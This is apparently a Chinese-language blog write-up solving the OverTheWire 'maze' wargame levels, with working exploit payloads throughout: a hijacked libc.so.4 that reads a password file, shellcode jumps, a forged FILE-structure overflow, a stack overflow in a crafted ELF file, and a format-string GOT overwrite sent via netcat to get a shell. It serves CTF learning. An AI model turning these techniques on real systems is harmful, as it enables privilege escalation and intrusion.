maze

Posted by rk700 on July 14, 2014
  • maze0
    race condition,以前做过,于是懒得再弄了

  • maze1
    ldd检查发现会加载当前目录下的libc.so.4。于是我们写一个文件

int __libc_start_main() {
    int fd = open("/etc/maze_pass/maze2", 0);
    char buf[64];
    int numRead = read(fd, buf, sizeof buf);
    buf[numRead] = 0;
    write(1, buf, numRead);
    return 0;
}

这里的输入输出没有用libc里的fopen,printf等,因为没有加载正确的libc.so

将该文件编译成动态库:

$ gcc --shared -fPIC 1.c -o libc.so.4

再运行程序,就会调用我们提供的start_main

  • maze2
    把payload提供为argv即可。调用时会执行我们提供的argv[1]的内容;由于最多只能复制8个字符,所以把shellcode放环境变量,然后跳到那里:
BITS 32
mov eax, 0xffffd8d8
jmp eax

正好7个字符,然后执行

$ /maze/maze2 `perl -e 'print "\xb8\xd8\xd8\xff\xff\xff\xe0"'`
  • maze3
    只有个_start,估计是纯手写的汇编。 关于linux下main函数的启动,http://tldp.org/LDP/LGNET/84/hawk.html有一篇文章。于是可以知道,进入_start之后,栈顶由高到底依次为:argc, &argv[0], &argv[1], &argv[2],…。而_start一般来说会执行
 080482d0 <_start>:
 80482d0:       31 ed                   xor    %ebp,%ebp
 80482d2:       5e                      pop    %esi
 80482d3:       89 e1                   mov    %esp,%ecx
...
 80482e5:       51                      push   %ecx
 80482e6:       56                      push   %esi

这里就把argv和argv推到栈上了。

对于我们的程序,首先取出argc,看减1后是否为0,如果是的话退出。

然后调用了mprotect,是修改内存属性,7的话应该是rwx,于是我们接下来可以修改指令部分了。接着是把44bytes指令取出(ecx=0x2c),与0x12345678做XOR,再保存回原来的地方(edi=edi=d1),接着就执行这一部分的内容。全部XOR之后,将要执行的代码变成:

=> 0x80480cb <d1>:      pop    %eax
   0x80480cc <d1+1>:    cmpl   $0x1337c0de,(%eax)
   0x80480d2 <d1+7>:    jne    0x80480ed <d1+34>
   0x80480d4 <d1+9>:    xor    %eax,%eax
   0x80480d6 <d1+11>:   push   %eax
   0x80480d7 <d1+12>:   push   $0x68732f2f
   0x80480dc <d1+17>:   push   $0x6e69622f
   0x80480e1 <d1+22>:   mov    %esp,%ebx
   0x80480e3 <d1+24>:   push   %eax
   0x80480e4 <d1+25>:   push   %ebx
   0x80480e5 <d1+26>:   mov    %esp,%ecx
   0x80480e7 <d1+28>:   xor    %edx,%edx
   0x80480e9 <d1+30>:   mov    $0xb,%al
   0x80480eb <d1+32>:   int    $0x80
   0x80480ed <d1+34>:   mov    $0x1,%eax
   0x80480f2 <d1+39>:   xor    %ebx,%ebx
   0x80480f4 <d1+41>:   inc    %ebx
   0x80480f5 <d1+42>:   int    $0x80

由于之前有pop了一次,所以这里是把argv[1]和0x1337c0de比较,相等的话就有shell了。于是执行

$ /maze/maze3 `perl -e 'print "\xde\xc0\x37\x13"'`

多说一句,1337这个数经常见到,因为是http://en.wikipedia.org/wiki/Leet

  • maze4
    这里会检查提供的文件,如果符合要求则执行。具体检查如下:
...
        Elf32_Ehdr ehdr;
        Elf32_Phdr phdr;
        struct stat st;
...

        /* read Elf-header */
        read(fd,&ehdr,sizeof(Elf32_Ehdr));

        /* read Program-header */
        lseek(fd,ehdr.e_phoff,SEEK_SET);
        read(fd,&phdr,sizeof(Elf32_Phdr));

        /* check */
        if(phdr.p_paddr == (ehdr.e_ident[EI_OSABI]*ehdr.e_ident[EI_ABIVERSION]) &&
           st.st_size < 120) {
                printf("valid file, executing\n");
                execv(argv[1],NULL);
        }

而如果提供ELF文件,那么p_paddr在0x08040000之后,但两个bytes相乘不太可能等于那么大的数。

但如果是脚本文件,就不用那么费事了。

$ perl -e 'print "#!/bin/sh\ncat maze5\n#" . "-"x7 . "\x14\x00\x00\x00" . "\xb8\x2e\x00\x00"' > overthewire/maze/maze4.sh

两个相乘的bytes在0x7、0x8处,是s和h。program header在0x1c,我们把那里写成0x14。这样再找p_paddr就会在0x14+0xc=0x20,那里写成乘积0x2eb8。这样就符合要求了。

为了省事儿,我把密码文件链接到当前目录下面了。而且用sh而不是bash,因为setuid的问题。

  • maze5
    检查用户名和密码,都是8bytes,而且password[i]=’printlol’[i]-(username[i]-65)-2*i。这样我们如果提交username为A?=;9753,那么-2i被抵消,密码还是printlol

  • maze6
    这里可以覆盖FILE指针地址,也就是说可以使用我们提供的FILE结构。其定义在文件libio.h中,名字是_IO_FILE。

http://www.ouah.org/fsp-overflows.txt有一篇参考文章。

fprintf最终会调用vfprintf。参考FILE的定义,开始处有一些指针,我们把那里都写成jump table的地址。然后

...
   0xf7e6467d <vfprintf+29>:    mov    0x8(%ebp),%esi
...
   0xf7e64798 <vfprintf+312>:   movsbl 0x46(%esi),%eax
   0xf7e6479c <vfprintf+316>:   sub    0xc(%ebp),%edi
   0xf7e6479f <vfprintf+319>:   mov    0x94(%esi,%eax,1),%eax
...
   0xf7e647ba <vfprintf+346>:   call   *0x1c(%eax)

可以看到,FILE的地址放在了esi,esi+0x46处的signed char被取出。参考定义这个是signed char _vtable_offset;然后此offset加上0x94得到table的地址;最后0x1c加table地址被调用。

于是,我们把第0x46处写成8,接下来作为jump table的内容,存的全是SHELLCODE的地址。

$ ./maze6 1 `perl -e 'print "\x2a\xf2\xd5\xd5"x17 . "\x2e\x2e\x22\x2e" . "\x7e\xf3\xd5\xd5"x22 . "\xf7\xf6\xd5\xd5"x24 . "\x96\xf2\xd5\xd5"'`
  • maze7
    首先读取起始的0x34=52个bytes,并从中获取参数,传给函数print_shdrs;然后在这个函数中的read(fd,&v5,nbytes)处可以向下覆盖至返回地址,由于这次的读文件还需要保持堆上的地址,所以我们再放72bytes在文件的后面。

要注意的是,向下覆盖时会重写ptr和buf的值。为了后面的free不出错,我们用gdb获得这两个堆上的地址,然后放到文件相应的地方;此外,在printf中会打印一个字符串,我们最好保证地址不要越界,也就是v5不要超过ptr的长度。

$ perl -e 'print "A"x32 . "\x34\x00\x00\x00" . "A"x10 . "\x48\x00" . "\x01\x00" . "\x00\x00" . "\x00"x20 . "\x10\x00\x00\x00" . "\x00"x16 . "\x38\xa0\x04\x08" . "AAAA" . "\x08\xa0\x04\x08" . "\x02\x00\x00\x00" . "A"x8 . "ebp-" . "\x05\xd9\xff\xff"' > f
$ /maze/maze7 f
  • maze8
    会监听1337端口。另外,snprintf存在format string。我们选择修改send的got地址,这需要同时联两个到ssh上面,一个把shellcode放到环境变量并启动maze8,另一个发送我们构造的内容:
$ perl -e 'print "\x78\x9d\x04\x08" . "\x79\x9d\x04\x08" . "\x7a\x9d\x04\x08" . "\x7b\x9d\x04\x08" . "%245x%11\$hhn" . "%212x%12\$hhn" . "%38x%13\$hhn" . "%14\$hhn"' | nc 127.0.0.1 1337

这样maze8那边就得到shell